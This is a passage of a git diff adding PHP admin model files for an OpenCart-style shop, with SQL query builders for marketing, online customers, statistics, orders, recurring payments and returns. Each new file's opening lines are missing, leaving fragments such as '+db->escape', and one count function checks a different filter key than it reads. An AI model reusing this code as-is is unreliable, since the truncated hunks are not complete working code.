+ $implode[] = "o.order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ $sql = "SELECT *, (SELECT COUNT(*) FROM `" . DB_PREFIX . "order` o WHERE (" . implode(" OR ", $implode) . ") AND o.marketing_id = m.marketing_id) AS orders FROM " . DB_PREFIX . "marketing m";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "m.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_code'])) {
+ $implode[] = "m.code = '" . $this->db->escape($data['filter_code']) . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(m.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'm.name',
+ 'm.code',
+ 'm.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY m.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalMarketings($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "marketing";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "name LIKE '" . $this->db->escape($data['filter_name']) . "'";
+ }
+
+ if (!empty($data['filter_code'])) {
+ $implode[] = "code = '" . $this->db->escape($data['filter_code']) . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/report/online.php b/public/admin/model/report/online.php
new file mode 100644
index 0000000..8c13990
--- /dev/null
+++ b/public/admin/model/report/online.php
@@ -0,0 +1,60 @@
+db->escape($data['filter_ip']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "co.customer_id > 0 AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sql .= " ORDER BY co.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalOnline($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "customer_online` co LEFT JOIN " . DB_PREFIX . "customer c ON (co.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "co.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "co.customer_id > 0 AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/report/statistics.php b/public/admin/model/report/statistics.php
new file mode 100644
index 0000000..9fe77d1
--- /dev/null
+++ b/public/admin/model/report/statistics.php
@@ -0,0 +1,30 @@
+db->query("SELECT * FROM " . DB_PREFIX . "statistics");
+
+ return $query->rows;
+ }
+
+ public function getValue($code) {
+ $query = $this->db->query("SELECT value FROM " . DB_PREFIX . "statistics WHERE `code` = '" . $this->db->escape($code) . "'");
+
+ if ($query->num_rows) {
+ return $query->row['value'];
+ } else {
+ return null;
+ }
+ }
+
+ public function addValue($code, $value) {
+ $this->db->query("UPDATE " . DB_PREFIX . "statistics SET `value` = (`value` + '" . (float)$value . "') WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function editValue($code, $value) {
+ $this->db->query("UPDATE " . DB_PREFIX . "statistics SET `value` = '" . (float)$value . "' WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function removeValue($code, $value) {
+ $this->db->query("UPDATE " . DB_PREFIX . "statistics SET `value` = (`value` - '" . (float)$value . "') WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+}
diff --git a/public/admin/model/sale/order.php b/public/admin/model/sale/order.php
new file mode 100644
index 0000000..e519ca2
--- /dev/null
+++ b/public/admin/model/sale/order.php
@@ -0,0 +1,478 @@
+db->query("SELECT *, (SELECT CONCAT(c.firstname, ' ', c.lastname) FROM " . DB_PREFIX . "customer c WHERE c.customer_id = o.customer_id) AS customer, (SELECT os.name FROM " . DB_PREFIX . "order_status os WHERE os.order_status_id = o.order_status_id AND os.language_id = '" . (int)$this->config->get('config_language_id') . "') AS order_status FROM `" . DB_PREFIX . "order` o WHERE o.order_id = '" . (int)$order_id . "'");
+
+ if ($order_query->num_rows) {
+ $country_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "country` WHERE country_id = '" . (int)$order_query->row['payment_country_id'] . "'");
+
+ if ($country_query->num_rows) {
+ $payment_iso_code_2 = $country_query->row['iso_code_2'];
+ $payment_iso_code_3 = $country_query->row['iso_code_3'];
+ } else {
+ $payment_iso_code_2 = '';
+ $payment_iso_code_3 = '';
+ }
+
+ $zone_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "zone` WHERE zone_id = '" . (int)$order_query->row['payment_zone_id'] . "'");
+
+ if ($zone_query->num_rows) {
+ $payment_zone_code = $zone_query->row['code'];
+ } else {
+ $payment_zone_code = '';
+ }
+
+ $country_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "country` WHERE country_id = '" . (int)$order_query->row['shipping_country_id'] . "'");
+
+ if ($country_query->num_rows) {
+ $shipping_iso_code_2 = $country_query->row['iso_code_2'];
+ $shipping_iso_code_3 = $country_query->row['iso_code_3'];
+ } else {
+ $shipping_iso_code_2 = '';
+ $shipping_iso_code_3 = '';
+ }
+
+ $zone_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "zone` WHERE zone_id = '" . (int)$order_query->row['shipping_zone_id'] . "'");
+
+ if ($zone_query->num_rows) {
+ $shipping_zone_code = $zone_query->row['code'];
+ } else {
+ $shipping_zone_code = '';
+ }
+
+ $reward = 0;
+
+ $order_product_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'");
+
+ foreach ($order_product_query->rows as $product) {
+ $reward += $product['reward'];
+ }
+
+ $this->load->model('customer/customer');
+
+ $affiliate_info = $this->model_customer_customer->getCustomer($order_query->row['affiliate_id']);
+
+ if ($affiliate_info) {
+ $affiliate_firstname = $affiliate_info['firstname'];
+ $affiliate_lastname = $affiliate_info['lastname'];
+ } else {
+ $affiliate_firstname = '';
+ $affiliate_lastname = '';
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($order_query->row['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ return array(
+ 'order_id' => $order_query->row['order_id'],
+ 'invoice_no' => $order_query->row['invoice_no'],
+ 'invoice_prefix' => $order_query->row['invoice_prefix'],
+ 'store_id' => $order_query->row['store_id'],
+ 'store_name' => $order_query->row['store_name'],
+ 'store_url' => $order_query->row['store_url'],
+ 'customer_id' => $order_query->row['customer_id'],
+ 'customer' => $order_query->row['customer'],
+ 'customer_group_id' => $order_query->row['customer_group_id'],
+ 'firstname' => $order_query->row['firstname'],
+ 'lastname' => $order_query->row['lastname'],
+ 'email' => $order_query->row['email'],
+ 'telephone' => $order_query->row['telephone'],
+ 'custom_field' => json_decode($order_query->row['custom_field'], true),
+ 'payment_firstname' => $order_query->row['payment_firstname'],
+ 'payment_lastname' => $order_query->row['payment_lastname'],
+ 'payment_company' => $order_query->row['payment_company'],
+ 'payment_address_1' => $order_query->row['payment_address_1'],
+ 'payment_address_2' => $order_query->row['payment_address_2'],
+ 'payment_postcode' => $order_query->row['payment_postcode'],
+ 'payment_city' => $order_query->row['payment_city'],
+ 'payment_zone_id' => $order_query->row['payment_zone_id'],
+ 'payment_zone' => $order_query->row['payment_zone'],
+ 'payment_zone_code' => $payment_zone_code,
+ 'payment_country_id' => $order_query->row['payment_country_id'],
+ 'payment_country' => $order_query->row['payment_country'],
+ 'payment_iso_code_2' => $payment_iso_code_2,
+ 'payment_iso_code_3' => $payment_iso_code_3,
+ 'payment_address_format' => $order_query->row['payment_address_format'],
+ 'payment_custom_field' => json_decode($order_query->row['payment_custom_field'], true),
+ 'payment_method' => $order_query->row['payment_method'],
+ 'payment_code' => $order_query->row['payment_code'],
+ 'shipping_firstname' => $order_query->row['shipping_firstname'],
+ 'shipping_lastname' => $order_query->row['shipping_lastname'],
+ 'shipping_company' => $order_query->row['shipping_company'],
+ 'shipping_address_1' => $order_query->row['shipping_address_1'],
+ 'shipping_address_2' => $order_query->row['shipping_address_2'],
+ 'shipping_postcode' => $order_query->row['shipping_postcode'],
+ 'shipping_city' => $order_query->row['shipping_city'],
+ 'shipping_zone_id' => $order_query->row['shipping_zone_id'],
+ 'shipping_zone' => $order_query->row['shipping_zone'],
+ 'shipping_zone_code' => $shipping_zone_code,
+ 'shipping_country_id' => $order_query->row['shipping_country_id'],
+ 'shipping_country' => $order_query->row['shipping_country'],
+ 'shipping_iso_code_2' => $shipping_iso_code_2,
+ 'shipping_iso_code_3' => $shipping_iso_code_3,
+ 'shipping_address_format' => $order_query->row['shipping_address_format'],
+ 'shipping_custom_field' => json_decode($order_query->row['shipping_custom_field'], true),
+ 'shipping_method' => $order_query->row['shipping_method'],
+ 'shipping_code' => $order_query->row['shipping_code'],
+ 'comment' => $order_query->row['comment'],
+ 'total' => $order_query->row['total'],
+ 'reward' => $reward,
+ 'order_status_id' => $order_query->row['order_status_id'],
+ 'order_status' => $order_query->row['order_status'],
+ 'affiliate_id' => $order_query->row['affiliate_id'],
+ 'affiliate_firstname' => $affiliate_firstname,
+ 'affiliate_lastname' => $affiliate_lastname,
+ 'commission' => $order_query->row['commission'],
+ 'language_id' => $order_query->row['language_id'],
+ 'language_code' => $language_code,
+ 'currency_id' => $order_query->row['currency_id'],
+ 'currency_code' => $order_query->row['currency_code'],
+ 'currency_value' => $order_query->row['currency_value'],
+ 'ip' => $order_query->row['ip'],
+ 'forwarded_ip' => $order_query->row['forwarded_ip'],
+ 'user_agent' => $order_query->row['user_agent'],
+ 'accept_language' => $order_query->row['accept_language'],
+ 'date_added' => $order_query->row['date_added'],
+ 'date_modified' => $order_query->row['date_modified']
+ );
+ } else {
+ return;
+ }
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT o.order_id, CONCAT(o.firstname, ' ', o.lastname) AS customer, (SELECT os.name FROM " . DB_PREFIX . "order_status os WHERE os.order_status_id = o.order_status_id AND os.language_id = '" . (int)$this->config->get('config_language_id') . "') AS order_status, o.shipping_code, o.total, o.currency_code, o.currency_value, o.date_added, o.date_modified FROM `" . DB_PREFIX . "order` o";
+
+ if (!empty($data['filter_order_status'])) {
+ $implode = array();
+
+ $order_statuses = explode(',', $data['filter_order_status']);
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "o.order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE (" . implode(" OR ", $implode) . ")";
+ }
+ } elseif (isset($data['filter_order_status_id']) && $data['filter_order_status_id'] !== '') {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $sql .= " AND o.order_id = '" . (int)$data['filter_order_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(o.firstname, ' ', o.lastname) LIKE '%" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(o.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $sql .= " AND DATE(o.date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if (!empty($data['filter_total'])) {
+ $sql .= " AND o.total = '" . (float)$data['filter_total'] . "'";
+ }
+
+ $sort_data = array(
+ 'o.order_id',
+ 'customer',
+ 'order_status',
+ 'o.date_added',
+ 'o.date_modified',
+ 'o.total'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY o.order_id";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getOrderProducts($order_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getOrderOptions($order_id, $order_product_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_option WHERE order_id = '" . (int)$order_id . "' AND order_product_id = '" . (int)$order_product_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getOrderVouchers($order_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_voucher WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getOrderVoucherByVoucherId($voucher_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "order_voucher` WHERE voucher_id = '" . (int)$voucher_id . "'");
+
+ return $query->row;
+ }
+
+ public function getOrderTotals($order_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_total WHERE order_id = '" . (int)$order_id . "' ORDER BY sort_order");
+
+ return $query->rows;
+ }
+
+ public function getTotalOrders($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order`";
+
+ if (!empty($data['filter_order_status'])) {
+ $implode = array();
+
+ $order_statuses = explode(',', $data['filter_order_status']);
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE (" . implode(" OR ", $implode) . ")";
+ }
+ } elseif (isset($data['filter_order_status_id']) && $data['filter_order_status_id'] !== '') {
+ $sql .= " WHERE order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $sql .= " AND order_id = '" . (int)$data['filter_order_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(firstname, ' ', lastname) LIKE '%" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $sql .= " AND DATE(date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if (!empty($data['filter_total'])) {
+ $sql .= " AND total = '" . (float)$data['filter_total'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByStoreId($store_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE store_id = '" . (int)$store_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByOrderStatusId($order_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE order_status_id = '" . (int)$order_status_id . "' AND order_status_id > '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByProcessingStatus() {
+ $implode = array();
+
+ $order_statuses = $this->config->get('config_processing_status');
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE " . implode(" OR ", $implode));
+
+ return $query->row['total'];
+ } else {
+ return 0;
+ }
+ }
+
+ public function getTotalOrdersByCompleteStatus() {
+ $implode = array();
+
+ $order_statuses = $this->config->get('config_complete_status');
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE " . implode(" OR ", $implode) . "");
+
+ return $query->row['total'];
+ } else {
+ return 0;
+ }
+ }
+
+ public function getTotalOrdersByLanguageId($language_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE language_id = '" . (int)$language_id . "' AND order_status_id > '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByCurrencyId($currency_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE currency_id = '" . (int)$currency_id . "' AND order_status_id > '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalSales($data = array()) {
+ $sql = "SELECT SUM(total) AS total FROM `" . DB_PREFIX . "order`";
+
+ if (!empty($data['filter_order_status'])) {
+ $implode = array();
+
+ $order_statuses = explode(',', $data['filter_order_status']);
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE (" . implode(" OR ", $implode) . ")";
+ }
+ } elseif (isset($data['filter_order_status_id']) && $data['filter_order_status_id'] !== '') {
+ $sql .= " WHERE order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $sql .= " AND order_id = '" . (int)$data['filter_order_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(firstname, ' ', lastname) LIKE '%" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $sql .= " AND DATE(date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if (!empty($data['filter_total'])) {
+ $sql .= " AND total = '" . (float)$data['filter_total'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function createInvoiceNo($order_id) {
+ $order_info = $this->getOrder($order_id);
+
+ if ($order_info && !$order_info['invoice_no']) {
+ $query = $this->db->query("SELECT MAX(invoice_no) AS invoice_no FROM `" . DB_PREFIX . "order` WHERE invoice_prefix = '" . $this->db->escape($order_info['invoice_prefix']) . "'");
+
+ if ($query->row['invoice_no']) {
+ $invoice_no = $query->row['invoice_no'] + 1;
+ } else {
+ $invoice_no = 1;
+ }
+
+ $this->db->query("UPDATE `" . DB_PREFIX . "order` SET invoice_no = '" . (int)$invoice_no . "', invoice_prefix = '" . $this->db->escape($order_info['invoice_prefix']) . "' WHERE order_id = '" . (int)$order_id . "'");
+
+ return $order_info['invoice_prefix'] . $invoice_no;
+ }
+ }
+
+ public function getOrderHistories($order_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT oh.date_added, os.name AS status, oh.comment, oh.notify FROM " . DB_PREFIX . "order_history oh LEFT JOIN " . DB_PREFIX . "order_status os ON oh.order_status_id = os.order_status_id WHERE oh.order_id = '" . (int)$order_id . "' AND os.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY oh.date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalOrderHistories($order_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "order_history WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrderHistoriesByOrderStatusId($order_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "order_history WHERE order_status_id = '" . (int)$order_status_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getEmailsByProductsOrdered($products, $start, $end) {
+ $implode = array();
+
+ foreach ($products as $product_id) {
+ $implode[] = "op.product_id = '" . (int)$product_id . "'";
+ }
+
+ $query = $this->db->query("SELECT DISTINCT email FROM `" . DB_PREFIX . "order` o LEFT JOIN " . DB_PREFIX . "order_product op ON (o.order_id = op.order_id) WHERE (" . implode(" OR ", $implode) . ") AND o.order_status_id <> '0' LIMIT " . (int)$start . "," . (int)$end);
+
+ return $query->rows;
+ }
+
+ public function getTotalEmailsByProductsOrdered($products) {
+ $implode = array();
+
+ foreach ($products as $product_id) {
+ $implode[] = "op.product_id = '" . (int)$product_id . "'";
+ }
+
+ $query = $this->db->query("SELECT COUNT(DISTINCT email) AS total FROM `" . DB_PREFIX . "order` o LEFT JOIN " . DB_PREFIX . "order_product op ON (o.order_id = op.order_id) WHERE (" . implode(" OR ", $implode) . ") AND o.order_status_id <> '0'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/sale/recurring.php b/public/admin/model/sale/recurring.php
new file mode 100644
index 0000000..b2655b5
--- /dev/null
+++ b/public/admin/model/sale/recurring.php
@@ -0,0 +1,197 @@
+db->escape($data['filter_reference']) . "%'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(o.firstname, ' ', o.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_status'])) {
+ $implode[] = "or.status = " . (int)$data['filter_status'];
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(or.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'or.order_recurring_id',
+ 'or.order_id',
+ 'or.reference',
+ 'customer',
+ 'or.status',
+ 'or.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY or.order_recurring_id";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getRecurring($order_recurring_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_recurring WHERE order_recurring_id = " . (int)$order_recurring_id);
+
+ return $query->row;
+ }
+
+ public function getRecurringTransactions($order_recurring_id) {
+ $transactions = array();
+
+ $query = $this->db->query("SELECT amount, type, date_added FROM " . DB_PREFIX . "order_recurring_transaction WHERE order_recurring_id = " . (int)$order_recurring_id . " ORDER BY date_added DESC");
+
+ foreach ($query->rows as $result) {
+ switch ($result['type']) {
+ case 0:
+ $type = $this->language->get('text_transaction_date_added');
+ break;
+ case 1:
+ $type = $this->language->get('text_transaction_payment');
+ break;
+ case 2:
+ $type = $this->language->get('text_transaction_outstanding_payment');
+ break;
+ case 3:
+ $type = $this->language->get('text_transaction_skipped');
+ break;
+ case 4:
+ $type = $this->language->get('text_transaction_failed');
+ break;
+ case 5:
+ $type = $this->language->get('text_transaction_cancelled');
+ break;
+ case 6:
+ $type = $this->language->get('text_transaction_suspended');
+ break;
+ case 7:
+ $type = $this->language->get('text_transaction_suspended_failed');
+ break;
+ case 8:
+ $type = $this->language->get('text_transaction_outstanding_failed');
+ break;
+ case 9:
+ $type = $this->language->get('text_transaction_expired');
+ break;
+ default:
+ $type = '';
+ break;
+ }
+
+ $transactions[] = array(
+ 'date_added' => $result['date_added'],
+ 'amount' => $result['amount'],
+ 'type' => $type
+ );
+ }
+
+ return $transactions;
+ }
+
+ private function getStatus($status) {
+ switch ($status) {
+ case 1:
+ $result = $this->language->get('text_status_inactive');
+ break;
+ case 2:
+ $result = $this->language->get('text_status_active');
+ break;
+ case 3:
+ $result = $this->language->get('text_status_suspended');
+ break;
+ case 4:
+ $result = $this->language->get('text_status_cancelled');
+ break;
+ case 5:
+ $result = $this->language->get('text_status_expired');
+ break;
+ case 6:
+ $result = $this->language->get('text_status_pending');
+ break;
+ default:
+ $result = '';
+ break;
+ }
+
+ return $result;
+ }
+
+ public function getTotalRecurrings($data) {
+ $sql = "SELECT COUNT(*) AS `total` FROM `" . DB_PREFIX . "order_recurring` `or` LEFT JOIN `" . DB_PREFIX . "order` o ON (`or`.order_id = `o`.order_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_order_recurring_id'])) {
+ $implode[] .= "or.order_recurring_id = " . (int)$data['filter_order_recurring_id'];
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $implode[] .= "or.order_id = " . (int)$data['filter_order_id'];
+ }
+
+ if (!empty($data['filter_payment_reference'])) {
+ $implode[] .= " or.reference LIKE '" . $this->db->escape($data['filter_reference']) . "%'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] .= "CONCAT(o.firstname, ' ', o.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_status'])) {
+ $implode[] .= "or.status = " . (int)$data['filter_status'];
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] .= "DATE(or.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/sale/return.php b/public/admin/model/sale/return.php
new file mode 100644
index 0000000..f3425e7
--- /dev/null
+++ b/public/admin/model/sale/return.php
@@ -0,0 +1,199 @@
+db->query("INSERT INTO `" . DB_PREFIX . "return` SET order_id = '" . (int)$data['order_id'] . "', product_id = '" . (int)$data['product_id'] . "', customer_id = '" . (int)$data['customer_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', product = '" . $this->db->escape($data['product']) . "', model = '" . $this->db->escape($data['model']) . "', quantity = '" . (int)$data['quantity'] . "', opened = '" . (int)$data['opened'] . "', return_reason_id = '" . (int)$data['return_reason_id'] . "', return_action_id = '" . (int)$data['return_action_id'] . "', return_status_id = '" . (int)$data['return_status_id'] . "', comment = '" . $this->db->escape($data['comment']) . "', date_ordered = '" . $this->db->escape($data['date_ordered']) . "', date_added = NOW(), date_modified = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function editReturn($return_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "return` SET order_id = '" . (int)$data['order_id'] . "', product_id = '" . (int)$data['product_id'] . "', customer_id = '" . (int)$data['customer_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', product = '" . $this->db->escape($data['product']) . "', model = '" . $this->db->escape($data['model']) . "', quantity = '" . (int)$data['quantity'] . "', opened = '" . (int)$data['opened'] . "', return_reason_id = '" . (int)$data['return_reason_id'] . "', return_action_id = '" . (int)$data['return_action_id'] . "', comment = '" . $this->db->escape($data['comment']) . "', date_ordered = '" . $this->db->escape($data['date_ordered']) . "', date_modified = NOW() WHERE return_id = '" . (int)$return_id . "'");
+ }
+
+ public function deleteReturn($return_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "return` WHERE `return_id` = '" . (int)$return_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "return_history` WHERE `return_id` = '" . (int)$return_id . "'");
+ }
+
+ public function getReturn($return_id) {
